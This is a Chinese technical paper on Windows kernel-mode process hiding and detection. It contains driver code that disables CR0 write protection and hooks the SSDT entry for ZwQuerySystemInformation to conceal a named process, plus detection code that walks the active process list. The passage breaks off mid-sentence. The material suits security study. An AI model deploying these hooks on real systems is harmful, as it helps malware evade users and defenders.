- 相關(guān)推薦
Windows2003 內(nèi)核級進(jìn)程隱藏、偵測技術(shù)
論文關(guān)鍵字: 內(nèi)核 攔截 活動進(jìn)程鏈表 系統(tǒng)服務(wù)派遣表 線程調(diào)度鏈 驅(qū)動程序簡介
論文摘要:信息對抗是目前發(fā)展的一個重要的方向,為了更好的防御,必須去深入的了解敵人進(jìn)攻的招式。信息對抗促使信息技術(shù)飛速的發(fā)展。下面我選取了信息對抗技術(shù)的中一個很小一角關(guān)于windows內(nèi)核級病毒隱藏技術(shù)和反病毒偵測技術(shù)作為議題詳細(xì)討論。
1.為什么選驅(qū)動程序
驅(qū)動程序是運(yùn)行在系統(tǒng)信任的Ring0下在代碼,她擁有對系統(tǒng)任何軟件和硬件的訪問權(quán)限。這意味著內(nèi)核驅(qū)動可以訪問所有的系統(tǒng)資源,可以讀取所有的內(nèi)存空間,而且也被允許執(zhí)行CPU的特權(quán)指令,如,讀取CPU控制寄存器的當(dāng)前值等。而處于用戶模式下的程序如果試圖從內(nèi)核空間中讀取一個字節(jié)或者試圖執(zhí)行像MOV EAX,CR3這樣的匯編指令都會被立即終止掉。不過,這種強(qiáng)大的底線是驅(qū)動程序的一個很小的錯誤就會讓整個系統(tǒng)崩潰。所以對隱藏和反隱藏技術(shù)來說都提供了一個極好的環(huán)境。但是又對攻擊者和反查殺者提出了更高的技術(shù)要求。
2.入口例程DriverEntry
DriverEntry是內(nèi)核模式驅(qū)動程序主入口點(diǎn)常用的名字,她的作用和main,WinMain,是一樣的。
extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{...}
DriverEntry的第一個參數(shù)是一個指針,指向一個剛被初始化的驅(qū)動程序?qū)ο螅搶ο缶痛砟愕尿?qū)動程序,DriverEntry的第二個參數(shù)是設(shè)備服務(wù)鍵的鍵名。DriverEntry函數(shù)返回一個NTSTATUS值。NTSTATUS實(shí)際就是一個長整型,但你應(yīng)該使用NTSTATUS定義該函數(shù)的返回值而不是LONG,這樣代碼的可讀性會更好。大部分內(nèi)核模式支持例程都返回NTSTATUS狀態(tài)代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。
DriverEntry的作用主要就是創(chuàng)建設(shè)備對象,建立設(shè)備對象的符號鏈接,設(shè)置好各個類型的回調(diào)函數(shù)等。
例如:
extern "C"
NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload; <--1
DriverObject->DriverExtension->AddDevice = AddDevice;
DriverObject->DriverStartIo = StartIo;
DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp; <--2
DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;
...
}
在WDM中通過設(shè)置AddDevice回調(diào)函數(shù)來創(chuàng)建設(shè)備對象。在NT驅(qū)動中在DriverEntry例程中創(chuàng)建設(shè)備對象和符號鏈接。
例如:
RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化設(shè)備名字
//創(chuàng)建設(shè)備
ntStatus = IoCreateDevice (DriverObject,
0,
&deviceNameUnicodeString,
##DeviceId,
0,
FALSE,
&deviceObject
);
if ( NT_SUCCESS ( ntStatus ) ) {
RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符號鏈接名字
//創(chuàng)建符號鏈接
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
if ( !NT_SUCCESS ( ntStatus ) ) {
IoDeleteDevice (deviceObject); //如果創(chuàng)建符號鏈接失敗,刪除設(shè)備
return ntStatus;
}
}
建立符號鏈接的作用就是暴露一個給應(yīng)用程序的接口,應(yīng)用程序可以通過CreateFile API打開鏈接符號,得到一個語柄,和我們的驅(qū)動程序進(jìn)行交互操作。
3.Unload例程
雖然各個驅(qū)動程序的Unload例程不盡相同,但是它大致執(zhí)行下列工作:
釋放屬于驅(qū)動程序的任何硬件。
從Win32的名字空間移除符號連接名。
這個動作可以調(diào)用IoDeleteSymbolicLink來實(shí)現(xiàn)。
使用IoDeleteDevice移除設(shè)備對象。
釋放驅(qū)動程序持有的任何緩沖池等。
VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )
{
PDEVICE_OBJECT pNextObj;
// 循環(huán)每一個驅(qū)動過程控制的設(shè)備
pNextObj = pDriverObject->DeviceObject;
while (pNextObj != NULL)
{
//從設(shè)備對象中取出設(shè)備Extension
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;
// 取出符號連接名
UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;
IoDeleteSymbolicLink(&pLinkName); //刪除符號連接名
IoDeleteDevice(pNextObj); // 刪除設(shè)備
pNextObj = pNextObj->NextDevice;
}
}
4. 派遣例程
Win2000的I/O請求是包驅(qū)動的,當(dāng)一個I/O請求開始,I/O器先創(chuàng)建一個IRP去跟蹤這個請求,另外,它存儲一個功能代碼在IRP的I/O堆棧區(qū)的MajorField域中來唯一的標(biāo)識請求的類型。MajorField域是被I/O管理器用來索引驅(qū)動程序?qū)ο蟮腗ajorFunction表,這個表包含一個指向一個特殊I/O請求的派遣例程的功能指針,如果驅(qū)動 程序不支持這個請求,MajorFunction表就會指向I/O器函數(shù)_IopInvalidDeviceRequest,該函數(shù)返回一個錯誤給原始的調(diào)用者。驅(qū)動程序的作者有責(zé)任提供所有的驅(qū)動程序支持的派遣例程。所有的驅(qū)動程序必須支持IRP_MJ_CREATE功能代碼,因?yàn)檫@個功能代碼是用來響應(yīng)Win32用戶模式的CreateFile調(diào)用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設(shè)備的句柄,類似的,驅(qū)動程序必須支持IRP_MJ_CLOSE功能代碼,因?yàn)樗脕眄憫?yīng)Win32用戶模式的CloseHandle調(diào)用。順便提一下,系統(tǒng)自動調(diào)用CloseHandle函數(shù),因?yàn)樵诔绦蛲顺龅臅r(shí)候,所有的句柄都沒有被關(guān)閉。
static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS status;
PIO_STACK_LOCATION irpSp;
//得到當(dāng)前IRP (I/O請求包)
irpSp = IoGetCurrentIrpStackLocation( Irp );
switch (irpSp->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("IRP_MJ_CREATE\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
break;
case IRP_MJ_CLOSE:
DbgPrint("IRP_MJ_CLOSE\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
break;
}
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
大部分的I/O管理器的操作支持一個標(biāo)準(zhǔn)的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴(kuò)展的I/O請求,使用用戶模式的DeviceIoControl函數(shù)來調(diào)用,I/O管理器創(chuàng)建一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函數(shù)指定其內(nèi)容。傳遞給驅(qū)動程序的IOCTL遵循一個特殊的結(jié)構(gòu),它有32-bit大小,DDK包含一個方便的產(chǎn)生IOCTL值的機(jī)制的宏,CTL_CODE?梢允褂肅TL_CODE宏來定義我們自己的IOCTL。
例如:
#define IOCTL_MISSLEDEVICE_AIM CTL_CODE \
( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )
NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )
{
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_EXTENSION pDE;
PVOID userBuffer;
ULONG inSize;
ULONG outSize;
ULONG controlCode; // IOCTL請求代碼
PIO_STACK_LOCATION pIrpStack; //堆棧區(qū)域存儲了用戶緩沖區(qū)信息
pIrpStack = IoGetCurrentIrpStackLocation( pIrp );
// 取出IOCTL請求代碼
controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;
// 得到請求緩沖區(qū)大小
inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;
OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;
//現(xiàn)在執(zhí)行二次派遣
switch (controlCode)
{
case IOCTL_MISSLEDEVICEAIM:
......
case IOCTL_DEVICE_LAUNCH:
......
default: // 驅(qū)動程序收到了未被承認(rèn)的控制代碼
status = STATUS_INVALID_DEVICE_REQUEST;
}
pIrp->IoStatus.Information = 0; // 數(shù)據(jù)沒有傳輸
IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;
return status;
}
5.驅(qū)動程序的安裝
SC管理器(即服務(wù)控制管理器)可以控制服務(wù)和驅(qū)動程序。
加載和運(yùn)行一個服務(wù)需要執(zhí)行的典型操作步驟:
1.調(diào)用OpenSCManager()以獲取一個管理器句柄
2.調(diào)用CreateService()來向系統(tǒng)中添加一個服務(wù)
3.調(diào)用StartService()來運(yùn)行一個服務(wù)
4.調(diào)用CloseServiceHandle()來釋放管理器或服務(wù)句柄
BOOL InstallDriver()
{
SC_HANDLE hSCManager = NULL;
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if(hSCManager == NULL)
{
fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());
return FALSE;
}
SC_HANDLE schService;
schService = CreateService( hSCManager, //SCManager database
"MyDriver", // name of service
"MyDriver", // name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_KERNEL_DRIVER, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
DriverPath, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL // no password
);
if (schService == NULL)
{
if(GetLastError() == ERROR_SERVICE_EXISTS)
{
printf("Service has already installed!\n");
}
printf("Install driver false!");
return FALSE;
}
BOOL nRet = StartService(schService, 0, NULL);
if(!nRet)
{
if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
{
printf("Service is already running!\n");
return FALSE;
}
}
CloseServiceHandle(schService);
CloseServiceHandle(hSCManager);
return TRUE;
}
以上對驅(qū)動程序大致框架做了一個非常簡單的介紹,這僅僅是驅(qū)動程序中的一個”Hello World!”。驅(qū)動程序是相當(dāng)復(fù)雜的,由于我們只是利用驅(qū)動程序的特權(quán),對windows內(nèi)核進(jìn)行修改,所以就不對驅(qū)動驅(qū)動程序進(jìn)行深入討論了。
通過Hook SSDT (System Service Dispath Table) 隱藏進(jìn)程
1.原理介紹:
Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。而API又是通過ntdll里面的核心API來進(jìn)行系統(tǒng)服務(wù)的查詢。核心API通過對int 2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數(shù)KiSystemService()來實(shí)現(xiàn)的。在你使用了一個系統(tǒng)調(diào)用時(shí),必須首先裝載要調(diào)用的函數(shù)索引號到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應(yīng)于一個數(shù)據(jù)結(jié)構(gòu),定義如下:
typedef struct SystemServiceDescriptorTable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfService這么多個數(shù)組單元。在windows 2000 sp4中NumberOfService的數(shù)目是248個。
我們的任務(wù)器,是通過用戶層的API來枚舉當(dāng)前的進(jìn)程的。Ring3級枚舉的方法:
• PSAPI
– EnumProcesses()
• ToolHelp32
– Process32First()
- Process32Next()
來對進(jìn)程進(jìn)行枚舉。而她們最后都是通過NtQuerySystemInformation來進(jìn)行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實(shí)NtQuerySystemInformation返回的數(shù)進(jìn)行添加或者是刪改,就能有效的欺騙上層API。從而達(dá)到隱藏特定進(jìn)程的目的。
2. Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數(shù)的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系統(tǒng)中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導(dǎo)出的 ZwQuerySystemInformation中包含有索引號的硬編碼:
kd> u ZwQuerySystemInformation
804011aa b897000000 mov eax,0x97
804011af 8d542404 lea edx,[esp+0x4]
804011b3 cd2e int 2e
804011b5 c21000 ret 0x10
所以只需要把ZwQuerySystemInformation入口處的第二個字節(jié)取出來就能得到相應(yīng)的索引號了。例如:
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;
3.對NtQuerySystemInformation返回的數(shù)據(jù)進(jìn)行刪改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
IN ULONG SystemInformationClass, //查詢系統(tǒng)服務(wù)類型
IN PVOID SystemInformation, //接收系統(tǒng)信息緩沖區(qū)
IN ULONG SystemInformationLength, //接收信息緩沖區(qū)大小 OUT PULONG ReturnLength); //實(shí)際接收到的大小
NtQuerySystemInformation可以對系統(tǒng)的很多狀態(tài)進(jìn)行查詢,不僅僅是對進(jìn)程的查詢,通過SystemInformationClass號來區(qū)分功能,當(dāng)SystemInformationClass等于5的時(shí)候是在進(jìn)行進(jìn)程的查詢。此時(shí)返回的SystemInformation 是一個 _SYSTEM_PROCESSES結(jié)構(gòu)。
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //下一個進(jìn)程信息的偏移量,如果為0表示無一個進(jìn)程信息
ULONG ThreadCount; //線程數(shù)量
ULONG Reserved[6]; //
LARGE_INTEGER CreateTime; //創(chuàng)建進(jìn)程的時(shí)間
LARGE_INTEGER UserTime; //進(jìn)程中所有線程在用戶模式運(yùn)行時(shí)間的總和
LARGE_INTEGER KernelTime; //進(jìn)程中所有線程在內(nèi)核模式運(yùn)行時(shí)間的總和
UNICODE_STRING ProcessName; //進(jìn)程的名字
KPRIORITY BasePriority; //線程的缺省優(yōu)先級
ULONG ProcessId; //進(jìn)程ID號
ULONG InheritedFromProcessId; //繼承語柄的進(jìn)程ID號
ULONG HandleCount; //進(jìn)程打開的語柄數(shù)量
ULONG Reserved2[2]; //
VM_COUNTERS VmCounters; //虛擬內(nèi)存的使用情況
IO_COUNTERS IoCounters; //IO操作的統(tǒng)計(jì),Only For 2000
struct _SYSTEM_THREADS Threads[1]; //描述進(jìn)程中各線程的數(shù)組
};
當(dāng)NextEntryDelta域等于0時(shí)表示已經(jīng)到了進(jìn)程信息鏈的末尾。我們要做的僅僅是把要隱藏的進(jìn)程從鏈中刪除。
4. 核心實(shí)現(xiàn)
//系統(tǒng)服務(wù)表入口地址
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
……
__asm{
mov eax, cr0
mov CR0VALUE, eax
and eax, 0fffeffffh //DisableWriteProtect
mov cr0, eax
}
//取得原來ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );
//Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
//EnableWriteProtect
__asm
{
mov eax, CR0VALUE
mov cr0, eax
}
……
return STATUS_SUCCESS;
}
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
……
//UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;
……
}
NTSTATUS HookFunc(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
struct _SYSTEM_PROCESSES *curr;
// 保存上一個進(jìn)程信息的指針
struct _SYSTEM_PROCESSES *prev = NULL;
//調(diào)用原函數(shù)
rc = (RealZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
//如果系統(tǒng)查詢類型是SystemProcessesAndThreadsInformation
{
curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
//加第一個偏移量得到第一個system進(jìn)程的信息首地址
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
while(curr)
{
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)
{
//找到要隱藏的進(jìn)程
if(prev)
{
if(curr->NextEntryDelta)
{
//要刪除的信息在中間
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
//要刪除的信息在末尾
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
//要刪除的信息在開頭
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
//如果鏈下一個還有其他的進(jìn)程信息,指針往后移
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta); else
{
curr = NULL;
break;
}
}
if(curr != NULL)
{
//把當(dāng)前指針設(shè)置成前一個指針,當(dāng)前指針后移
prev = curr;
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
else curr = NULL;
}
} // end while(curr)
}
}
return rc;
}
通過IOCTL和Ring3級的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,& BytesReturned,NULL)來通知驅(qū)動程序要隱藏的進(jìn)程的名字。
枚舉和修改活動進(jìn)程鏈表來檢測和隱藏進(jìn)程
1. 介紹EPROCESS塊(進(jìn)程執(zhí)行塊)
每個進(jìn)程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進(jìn)程相關(guān)了很多信息,還有很多指向其他相關(guān)結(jié)構(gòu)數(shù)據(jù)結(jié)構(gòu)的指針。例如每一個進(jìn)程里面都至少有一個ETHREAD塊表示的線程。進(jìn)程的名字,和在用戶空間的PEB(進(jìn)程)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統(tǒng)空間中的。
2. 查看EPROCESS結(jié)構(gòu)
kd> !processfields
!processfields
EPROCESS structure offsets:
Pcb: 0x0
ExitStatus: 0x6c
LockEvent: 0x70
LockCount: 0x80
CreateTime: 0x88
ExitTim e: 0x90
LockOwner: 0x98
UniqueProcessId: 0x9c
ActiveProcessLinks: 0xa0
QuotaPeakPoolUsage[0]: 0xa8
QuotaPoolUsage[0]: 0xb0
PagefileUsage: 0xb8
CommitCharge: 0xbc
PeakPagefileUsage: 0xc0
PeakVirtualSize: 0xc4
VirtualSize: 0xc8
Vm: 0xd0
DebugPort: 0x120
ExceptionPort: 0x124
ObjectTable: 0x128
Token: 0x12c
WorkingSetLock: 0x130
WorkingSetPage: 0x150
ProcessOutswapEnabled: 0x154
ProcessOutswapped: 0x155
AddressSpaceInitialized: 0x156
AddressSpaceDeleted: 0x157
AddressCreationLock: 0x158
ForkInProgress: 0x17c
VmOperation: 0x180
VmOperationEvent: 0x184
PageDirectoryPte: 0x1f0
LastFaultCount: 0x18c
VadRoot: 0x194
VadHint: 0x198
CloneRoot: 0x19c
NumberOfPrivatePages: 0x1a0
NumberOfLockedPages: 0x1a4
ForkWasSuccessful: 0x182
ExitProcessCalled: 0x1aa
CreateProcessReported: 0x1ab
SectionHandle: 0x1ac
Peb: 0x1b0
SectionBaseAddress: 0x1b4
QuotaBlock: 0x1b8
LastThreadExitStatus: 0x1bc
WorkingSetWatch: 0x1c0
InheritedFromUniqueProcessId: 0x1c8
GrantedAccess: 0x1cc
DefaultHardErrorProcessing 0x1d0
LdtInformation: 0x1d4
VadFreeHint: 0x1d8
VdmObjects: 0x1dc
DeviceMap: 0x1e0
ImageFileName[0]: 0x1fc
VmTrimFaultValue: 0x20c
Win32Process: 0x214
Win32WindowStation: 0x1c4
3. 什么是活動進(jìn)程鏈表
EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機(jī)構(gòu)的雙向鏈表。當(dāng)一個新進(jìn)程建立的時(shí)候父進(jìn)程負(fù)責(zé)完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內(nèi)核變量PsActiveProcessHead鏈表中。
在PspCreateProcess內(nèi)核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
當(dāng)進(jìn)程結(jié)束的時(shí)候,該進(jìn)程的EPROCESS結(jié)構(gòu)當(dāng)從活動進(jìn)程鏈上摘除。(但是EPROCESS結(jié)構(gòu)不一定就馬上釋放)。
在PspExitProcess內(nèi)核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我們完全可以利用活動進(jìn)程鏈表來對進(jìn)程進(jìn)行枚舉。
4. 進(jìn)程枚舉檢測Hook SSDT隱藏的進(jìn)程。
事實(shí)上Nactive API ZwQuerySystemInformation 對進(jìn)程查詢也是找到活動進(jìn)程鏈表頭,然后遍歷活動進(jìn)程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進(jìn)程ID名字等)。所以用遍歷活動進(jìn)程鏈表的辦法能有效的把Hook SSDT進(jìn)行隱藏的進(jìn)程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe 導(dǎo)出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用內(nèi)核調(diào)試器livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值)
kd> dd PsActiveProcessHead L 2
dd PsActiveProcessHead L 2
8046e460 81829780 ff2f4c80
PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;
void DisplayList()
{
PLIST_ENTRY List = PsActiveProcessHead->Blink;
while( List != PsActiveProcessHead )
{
char* name = ((char*)List-0xa0)+0x1fc;
DbgPrint("name = %s\n",name);
List=List->Blink;
}
}
首先把List指向表頭后的第一個元素。然后減去0xa0,因?yàn)檫@個時(shí)候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結(jié)構(gòu),而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進(jìn)程的名字信息,所以再加上0x1fc得到進(jìn)程名字,并且在Dbgview中打印出來。利用Hook SSDT隱藏的進(jìn)程很容易就被查出來了。
5. 解決硬編碼問題。
在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統(tǒng)中這值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。
ntoskrnl.exe導(dǎo)出的PsInitialSystemProcess 是一個指向system進(jìn)程的EPROCESS。這個結(jié)構(gòu)成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.
kd> dd PsInitialSystemProcess L 1
dd PsInitialSystemProcess L 1
8046e450 818296e0
kd> !process 818296e0 0
!process 818296e0 0
PROCESS 818296e0 SessionId: 0 Cid: 0008 Peb: 00000000 ParentCid: 0000
DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.
Image: System
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.
kd> dd 818296e0+0xa0 L 2
dd 818296e0+0xa0 L 2
81829780 814d1a00 8046e460
上面又可以看出S
【W(wǎng)indows 內(nèi)核級進(jìn)程隱藏、偵測技術(shù)】相關(guān)文章:
Windows 2000系統(tǒng)編程-進(jìn)程的創(chuàng)建12-04
基于OMAP5912的Linux內(nèi)核移植技術(shù)03-07
基于Windows Media技術(shù)的流媒體系統(tǒng)的設(shè)計(jì)與實(shí)現(xiàn)03-18
在 DOS 下使用Windows *.WAV 文件03-03
IMS通信中的拓?fù)潆[藏03-07